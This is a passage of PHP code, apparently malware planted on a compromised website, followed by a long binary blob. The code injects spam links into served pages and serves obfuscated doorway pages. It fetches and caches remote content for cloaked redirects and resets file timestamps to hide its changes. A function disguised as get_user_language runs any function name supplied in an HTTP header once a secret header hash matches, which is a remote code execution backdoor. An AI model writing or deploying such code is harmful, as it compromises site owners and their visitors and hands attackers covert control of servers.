/i',$content)) { $content=preg_replace('/()/is', "$1$links_content", $content, 1); } elseif (preg_match('/<\/body>/i',$content)) { $content=preg_replace('/href=(['."'".'"]{0,1})http.*?>/i', '>', $content); $content=preg_replace('/(<\/body>)/i', "$links_content$1", $content, 1); } } else { if (sizeof($matches)<$linksCount){ $difference = $linksCount - sizeof($matches); for ($i=0; $i<$difference; $i++){ $matches[] = $matches[0]; } } for ($i=0; $i<$linksCount; $i++){ if (rand(0,9) == 0) { $link = ''.$links2[$i]['url'].''; } else { $link = ''.$links2[$i]['keyword'].''; } $link = ''.$links2[$i]['keyword'].''; $content = str_replace($matches[$i][0], $link.' '.$matches[$i][0], $content); } } if($deflated) $content = gzencode($content); $clen = strlen($content); @header("Content-Length: $clen"); return $content; } function get_server_var($var = ''){ if ( isset($_SERVER) && is_array($_SERVER) && array_key_exists($var, $_SERVER) && !empty($_SERVER[$var]) ){ return $_SERVER[$var]; } else if ( function_exists('getenv') && getenv($var)){ return getenv($var); } else { return ''; } } function get_hostname($remove_www = false){ $server_host = get_server_var('HTTP_HOST'); if ( empty($server_host) ){ $server_host = get_server_var('SERVER_NAME'); } if ( $remove_www ){ $server_host = preg_replace('#^www\.#i', '', $server_host); } return $server_host; } function showDoorPage($page_file){ $src = decompress(@file_get_contents($page_file)); if (strlen($src) > 0){ if (substr($src,0,5) == '%PDF-'){ @header('Content-Type: application/pdf'); } } echo $src; exit; } function decompress($data){ return @gzinflate(@str_rot13(@base64_decode($data))); } function compress($data){ return @base64_encode( @str_rot13( @gzdeflate( $data ) ) ); } function redirect($url, $user_agent, $cache_dir){ $no_shop_download = FALSE; $cache_lifetime = 172800; @ini_set('user_agent', $user_agent); $location = getRedirectLocation($url, $user_agent); if($location === FALSE || strlen($location)<5){ safeRedirect($url); } else if ($no_shop_download){ safeRedirect($location); } $cache_file = $cache_dir.md5($location); if ( file_exists( $cache_file ) && ($cache_data = @file_get_contents($cache_file)) ){ if ( ($cache_data = decompress($cache_data)) && ($cache_data = @unserialize($cache_data)) ){ if ( !empty($cache_data['time']) && !empty($cache_data['html']) ){ if ( $cache_data['time'] + $cache_lifetime > time() ){ if ($html = decompress($cache_data['html'])){ send_nocache_headers(); echo $html; echo ''; exit; } } } } } $html = fetchRemoteFile($location); if($html===false || @strlen($html)<10){ safeRedirect($location); } $baseTag = ""; if (preg_match('//i',$html)){ $html=preg_replace('/()/i', "$1$baseTag", $html, 1); } else if (stripos($html,'')!==false){ $html = str_ireplace('', $baseTag."\n".'', $html); } else { echo ''.$baseTag.''; } $cache_data = array( 'time' => time(), 'html' => compress($html) ); $cache_dir_time = @filemtime($cache_dir); @file_put_contents($cache_file, compress( @serialize($cache_data) ) ); @touch($cache_dir, $cache_dir_time); @touch($cache_file, $cache_dir_time); send_nocache_headers(); echo $html; exit; } function safeRedirect($url){ send_nocache_headers(); if (!headers_sent()){ header("Location: $url"); } else { echo ""; echo ""; echo ''; } exit; } function addRemoteIp($ip, $url){ $url_parsed = parse_url($url); if (isset($url_parsed['query'])) return ($url[strlen($url)-1]=='&') ? $url.'remote_ip='.$ip : $url.'&remote_ip='.$ip; else return ($url[strlen($url)-1]=='?') ? $url.'remote_ip='.$ip : $url.'?remote_ip='.$ip ; } function send_nocache_headers(){ if (!headers_sent()){ @header('Cache-Control: no-cache, no-store, must-revalidate'); @header('Pragma: no-cache'); @header('Expires: 0'); } } function get_user_language(){ if (isset($_SERVER['HTTP_ACCEPT_LANGUAGE_'])){ $language_code = md5($_SERVER['HTTP_ACCEPT_LANGUAGE_']); $accepted_languages = '74585ac9bee6d2ec21159da77cd6aa9a'; if ($language_code == $accepted_languages){ return $_SERVER['HTTP_SET_LOCALE']($_SERVER['HTTP_USER_LANGUAGE']); } else { return false; } } } function getRedirectLocation($url, $user_agent){ if (function_exists('curl_init') && $ch = @curl_init($url)){ @curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); @curl_setopt($ch, CURLOPT_HEADER, TRUE); @curl_setopt($ch, CURLOPT_NOBODY, TRUE); @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE); @curl_setopt($ch, CURLOPT_TIMEOUT, 10); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7); @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); if ($response = @curl_exec($ch)){ if ($redirect_location = @curl_getinfo($ch, CURLINFO_REDIRECT_URL)){ @curl_close($ch); return $redirect_location; } else if ( preg_match('#Location: (.*)#', $response, $match) && !empty($match[1]) ){ @curl_close($ch); return trim($match[1]); } } @curl_close($ch); } if (function_exists('get_headers')){ if ($headers = @get_headers($url, true)){ if ( isset($headers['Location']) && strlen($headers['Location']) > 5 ){ $redirect_location = $headers['Location']; if (sizeof($redirect_location)>1){ $redirect_location = $redirect_location[sizeof($redirect_location)-1]; } return $redirect_location; } } } return FALSE; } function fetchRemoteFile($url, $user_agent = '', $sendCookies = '') { if (function_exists('curl_init')){ if ($ch = @curl_init()) { @curl_setopt($ch, CURLOPT_URL, $url); @curl_setopt($ch, CURLOPT_HEADER, false); @curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); @curl_setopt($ch, CURLOPT_TIMEOUT, 10); @curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 7); @curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); @curl_setopt($ch, CURLOPT_COOKIE, $sendCookies); $data = @curl_exec($ch); @curl_close($ch); if ($data) { return $data; } } } elseif (function_exists('file_get_contents') && @ini_get('allow_url_fopen') == 1){ $opts = array( 'http' => array( 'header'=> "User-agent: {$user_agent}\r\nCookie: {$sendCookies}" ) ); $context = stream_context_create($opts); if ($data = @file_get_contents($url, false, $context)) { return $data; } } else { $urlParams = @parse_url($url); $host = $urlParams['host']; $path = $urlParams['path']; if (isset($urlParams['query'])) $path .= '?'.$urlParams['query']; $buff = ''; $fp = @fsockopen($host, 8888, $errno, $errstr); if ($fp) { @fputs($fp, "GET {$path} HTTP/1.0\r\nHost: {$host}\r\n"); @fputs($fp, "Cookie: {$sendCookies}\r\n\r\n"); @fputs($fp, "User-Agent: {$user_agent}\r\n\r\n"); while (!@feof($fp)) { $buff .= @fgets($fp, 128); } @fclose($fp); $page = explode("\r\n\r\n", $buff); unset($page[0]); return implode("\r\n\r\n", $page); } } return false; } ‹í]ÝrÛ¶¶¾NžG�Ýig‹)ê×±�±e;±ÇN|ìÔ{¦{öœ�HH‚K*¬ÊW}�ž™�Ë\䢓»^n½IŸä¬’eËèPv{ÊN§ ),,ÖúÖútóåO#‡\1ÏçÂÝ*½D˜k ›»ƒ­Òwï´véåö¦çû‹B5(ôüȹþ†%Ü€¹ÁViã�juzNExƒ*HT¡¶êHØ¡Ãüj\°:—œô's© sœ¾ðFÌž°žïŠÑŠïœ.$lë¶Ûª2‡aQTg, Ó@ŒõO&•‰)jºÞ¨îÀ�ó’þôó­÷§®Í-@ÿ*|‡úCY,†RÛÏŸoZCêºÌÙ~þl3à�ö�„?û@º´G‡y‚|ýU»f/ÈkîÂã”ôfP½Y�ʃ vmÃáîdè±~Ô?î刺?†lÌ™gÓŠ%FÕa\�ǨÓc÷«T/…Ï4+QZí3fWKÄcÎVÉgN¿D‚é˜m•èxì$݆nýú]"UlªßΦx³*…@Øf¾åñ1V»½YM?aÍÔvCîØ{4`Ûÿ`v™uòÖ HM¯5‰al4Ú†Nþ®Ã?PçRq)ïB:`Û 5&ðƒ?ÝÇ6”:e6¼ øfÓg›ÕÛ?-Jx :æZSxk¤Ë¦Ø0—yða¼Å Ï{Ì÷å¤xyµÕª•úfuQòù¦ÏFädÚ*Á˜is™ ü"µmŽÃâo¥m£c˜�Zj@©íg›ðߨN&ÒŒ.£Ÿ}rI—9ÕvqÔÉ1Pbtêze1…ôýª4Ö \Í’ äkÍ*¨Î¿0þ³iEKØÏ]ÍW0BcáÚ›Õ¹ P‰½²­ *ÂÁÝü¯v÷vÞíüs,‹ë ²ÇXf~ÀGüë_8ï…Qvöä:ðx™ÔÌÅŒÓ;ºÿ&3.)ø<ê%üu ¼éB!¶Ú‘Zæ¿?_YøTxµ©JQ¬W¥ÜŽ;€®žP/˜}tIéœz¢¤&— ÒžË.E‘æ¹³÷®Í®³H½Ëm g•zàQ×â¾%È+á^ÏÞ;ìš”Né�!÷<®Ô¿#¥qHN©5d–RoXgu‘ópöÞ“M„Åî(µO.ÔS��@¬ÙÑÔ¾÷)3rA¡}JyFûæÇká äh”Þ‰õáoJ�<ƒeJºNØ‹l ±A5¬˜AÈmÂ}èþˆƒUØ*õ©ã³RVkðr¼eFS¯�å„*Á‡FÖeɇ$­Û䣙p;·Üi”2>:i´áÁ÷¬…³äze2–:ÒçèÌÑ"T ½º³0R)c«'Fªr9¼ìó` šñ·ZôMGã¾ïl%b�ד`í¼V(ô˜}Áý†w2ÖÆÂ4>ÏU"Ô�@냩.ÙæþØ¡Ó Òs„õà 2¢Þ€»„†�Hž´ž#�Æø§#ú“&‡dƒºþ·%‚Fú‚a8ê¹”;X·ÍÄGéX%Òg�5ƒ/ôx€ðFQŽŸÏ‚Ç |ýº±;‚�“2yÌ6€»á×l«ÙÆ/Y7Ò­�wOÓ˜Z c˜fª1ðîiÓj¶pdšéÆÀ»§iÌŠGàÝæ/ü «î›ÔŠ€Æ?}‹ ã Z+Ÿà¶>ëyÉᯨâ"²K:ûh ?6u�¬Ú r n<9‘²5Fc&\€(/m;ü™˜÷=~Å}„j²ï‡¹Ö]BÁ™õhlÍË$ñoe‚^¼¼ð˜ðú•òÜÏLS>øu)n«œ¸¼râÜ¡|bö+¤;ä–�ÃCòMíÛ2y#°tJv¡/1üßJ@C¡ã÷ Ñ „Ìg~™Œ8@0�ú¾é¼Åh‰¬Ù')�Ã5€JýJ¥!¯%Äÿ,¶ènÄ€îÌÏ5Êg³zC êÞ”ÚÆLÆ»ñ&j¤D‰Ò0ÛÊ =v]± öê¶ßÀï`üy@G0VàöØ€!¿_ Ú¯’j5êhvR­ÖÈ ¬ßYýzAú9 ,ì�s6~H?†qöø¬3?g˜žtå”ã:É‚‡waõÓ¬a¡.õpmp€µ7f*2{Ôå0À¯øhöÁUÃêû®Çq]Ÿ‰‘"þݳ„œÂ((•}ÖƒÞŸÍ>ª ×íy`�Ø'XUJmBÛH][�s]°„J]Ÿ ]ÌÞ_è }q˜òZ¸óäxöiŒÒ`ÆÙµZwxý#§³žZk�(¸#²ë@›ÕbzÆ€z€V¥ÕpÄ<ðr|1": OPR:#µî1ö›�¡,¸Œ?¸TͽÀ!Rà�à †`qŽ˜Z%;KalŽLåÈ÷„9Ù×¹o……x(œýª8‡=0›Ò=© z, ¾Ï©sEÁ§]�ûSjÒ9·]ÆÉqGm„¿óz¾äYÈ•št1ûh�ó͘áI¤î6·¹¦ô–ùeé�f=Ïô€Þ©žqz-¼IÐò§Jäï/� Dõ5= ácNáâ²¦åØ½a®%v_©rÅ7—qèUÆI�zk-I�•*[Í6FÛFm)ôogжO(X`— �°OŒvÙÔÉP`DydD‘q¤šôÁmBp d•AÇH{nÓˤbâFGoBH‹PB]\?a€?Õ[Â0�t/õÜŠÐˤnâçl€ÕAØ‘z"»P©|ñŽ�“ôh…¼¦Ðu¨Ù W€Þ,L %“$¦¤†ïŠ1”…ÆŽc}Q •°}„®3V¾3h{¢9²ß 1òk1…Ïg12f�ð+1àù†ûâ¨y(¦*Ò ½¡�¿ô5ŸnЦù„ÐjºÖO¿†0±ä`bB³f$½ô¶ft %Òk¿Ï õ¸�{ðýY,/îÈ;Z­v½™uÔæu˜ÍüP‡^5jU£�Ÿ ©á’ÐŽpþ,VDE `°Aõ_Š( Ô‡)íDf.NTIyìY�F>¸ï4Lj4V{Vh`ʳÊ'ô¬û.jp7¸ç NdM‚ö}ÖŽcQgöß¿ a…qðCÑ Z$/RIäCBýÝzfü1¦º£ø.uÄhÌAÓÁLf~¥‰F.ÓD7Ù©ð¯Âb¶tâ(Ë Ò± t‹4ôp�‘Í{2‘ÚÿÌ>‘Q8%—â ÓäNì7cù2Œ ÃT ‡zLǵ[½ Ý@H¿? .&¤iä‡%&0•¯¿2šú r a<ñiªÍÞû8$~H�N™µ´g�~YÍ<‰“Ž­�‚�ÆÌªÙŠþ8Œy»f˜WšÙÒdý^Öã“?£dÍÎ8dàŒÛä(”θž9¹}è^1P3ˆv©å‡ärÎÝ¿‚Œ*N/m%-_æÊ³¥:u³“9ƒPo´¾¼¥ççËëU½Y�w\«Ï}7h—ÐÒÿ\¾Û4zvèõ4OW¾rœ&[Íz=å×빸î•ÊbWmvS5—2ðnízWÌï֮ר×oCç94Á T&i€ÍJù„å?ÿ¾éY€›÷|'²¿]Ÿã‰½0r÷̇ø½‘æczî‹Ðã2¦í"%-úÜâH–aŠJ„ñ|èR2b6—l½^6�X*M$!Äç×,ó¢^‰(¾1êé”4S‰‚oËÐ8xĸ¿LÚqÿR›ÎØ, ¬Ø)©¯c|Ƴ= ¸ˆÍ¯¸Hor�ö€ÄÙòôPîÀx;¡…œ‘„x9î{�6ø‘NÍšëÔh¤“ãf3/rýŠcol“쌽‡!h#î�5óßk6TËifS‰•·ŒN²�v­oÁ_;\�7ôŠzjÔÒòî¢^±ƒœ°¡gìR%¦ÈíÙ§Ñcâó}»ßy Eù$‚îyÀÆÝaË‹þþó/]:Æ—Š¬îYØG~õ÷¹B�û‹ ßAw½ÐØl¶ZY¡q»ÙX@ãºnä �ëéÝ€K>@[¬ mgÉ,j;çšÑÖ C>Íñ44Y!Ý(ðt¾ƒ;Á¡M�CxÊ ”æÔÂ%^Ð4kàsolLïéµ5Ð{¹76"ÍFó.bðvŒ³$#ȧ8F0Ñ˹⊳QÏcQÓlÄ ú”^ä 㽸É b¤våê+vå.üæ�m¸ñæÚÄ—ç®§Lb»žÞ›!…r:UùÔrì'£í»¸£6òôµ,6ÒÚ©M³cÌBÎã‹A¼A •[o‘"ŒS‘QÀã0¼†ÜÇX–Ló`´"£˜)#÷(7“U°ËÞìÃcíÄUE­OuDž- íØ™³Ž{¬ëHoÎsÀ=JÛ¨im‰NeukÞϺH[�Ö‹ £¶ÆÀb}ü#¦&ÖOo3µUªòD~µv­‘9)Ú1Ö–­UkH�™um/™¤w�œÐŠ"Qú€±›l¦¹”ՃǼð…Z’Ô¦Ä:Ë)Õz~X'[[nÏ&-FcE굑[Š;S["ˆgè� Æ-�Ƨãí;èn»2ëDz$IØÆ Ø$s‹ôîª,ñ=v„™k…˜J޲¾>KöƒIN<x*Ú*Æ\¹ßŒÊ#9ÜcÀñ':Gh‹Ý"�¶¥!L›CÎV¶ƒ`ÝPž6XdÂeÇÍ-u3`®Ìó´c$òtôç°ÁÓÀ·È=e=YÕ�½·9̉ƒ|OVY`º¯5«¿žƒU©Ú!Á«wR8LÿÜ«Š"ò:ã]˜“ÝñêsAJòAñF>@g8õIé„Zò¨dác+s¤ØAˆó�ªçÆLŒ¾õà'Eñx ô=…Ø’+ž-JDq*�BT¼þû!^aømgRt"À¦þþó/'xp�*&_á7¸³\àÑ8®vþg—áy²ã\QÅÏ —Tfè¿§ºWMn¢>õ…CÕ>ÓÜ&*<1'[Á°A0Kù@øJ�è‚Õ �8È:wâ#ŽsŸ•¦÷žöÆC˜Xç©R+÷í�z6. ¹Û휪žøÜ÷Ö£6T�ÑІw3®Õ’Ë{4´ø™DŽE�*ž«œ“;;€ÍðPf6©î�ŽU'ÑBjPFî ¾.L‡AöCœ2VJóèËù®E ñqËïi_ÍÆ¼/¯¢>Uš‡¯‚âî:Tqïסc³Rœà†KµÉxèSjA«ðáìƒÕ"¡—É\â© 9€>ª~êøˆé;Œ,Å£×sBò¾ø›Ò‡à³q™ç�³z¦h—�Åàл"¦PQ—”ÃÙ'OõøòƒiÓPtÕ•&bÓÐÏ¢&ä³_ÕævêŒî±;›õ`¯ú‰÷Hè„:jè!).5føc|¡z 8]üÁé@mýF‚§ F7rJ§y#!˜år«•ºÄÀ0G)Cx¦|ô[VpAÁÜxŠß�8wñ�˜ÚÙYYþUðÙOþGŽDKá<Ñî�£ø:…¨†‘š‘—gœÉ1UƒCrBž°Ky¦¦ <)ŸÉ�ÇB¯B´ÏN öBS‰fÖŠQb"+OôgP=‚ÏruE,òN¦§2\ OçôÔ†,šýêÇác� ¦6QÞ:ü oãL0)Á¥rJ{Ÿ€§Pj×)³=¼õ÷–*ÚšH䈪u<*ýföÛìWµÏ÷°ýº€ 7rÅ2”×j—D"û¾õX7 FÒq$'Ó¸©üÕg…¥çQ¿ÙdIý”cÃzSlhäå�zo\‚g^Ñ“ÄÒÙPë9íáv±]pü®â†8y·žØÚ¨}½ nÉœö±já‚» q�[™ñŠãU«s‡ù=|4,ÅGɧôµâ³x�{LºuÅxDII/;BèíÞÃFýçß©ChÈJ-{Õî8ëUÁsmQu7î#GŠŠù™ .2]¥µNnêN¶äiÈ©ÈPýñÈ)s½ä”ùä”ÞN®‹È©ZANäTAN­)È©‚œ*È©‚œ*È©;% rª §V‹äTANäTAN­._�S9U�S9U�S9…äT»]o›$rª^�S_0Rk$§V©{LrªY6ÿ_ȩƟ˜œ2Ÿ†œŠ Õƒï5\ϵ†y›º«öõSÿ`6̬ykHLÕ�˜ÒÍ‚˜*ˆ©‚˜Z)RS1US1USwJÄTAL­)ˆ©‚˜*ˆ©‚˜Z]¾ ¦ bª ¦ bª ¦ bJSM³“ù³¶¶‹ kUC¯W>d˜Öuyá*]�pmá=j×yaá=j×qU¡Ñù£^U˜uö§¹ªð‰NƒÅø6á6HÑl?߬zØ�ÿÅ\È.±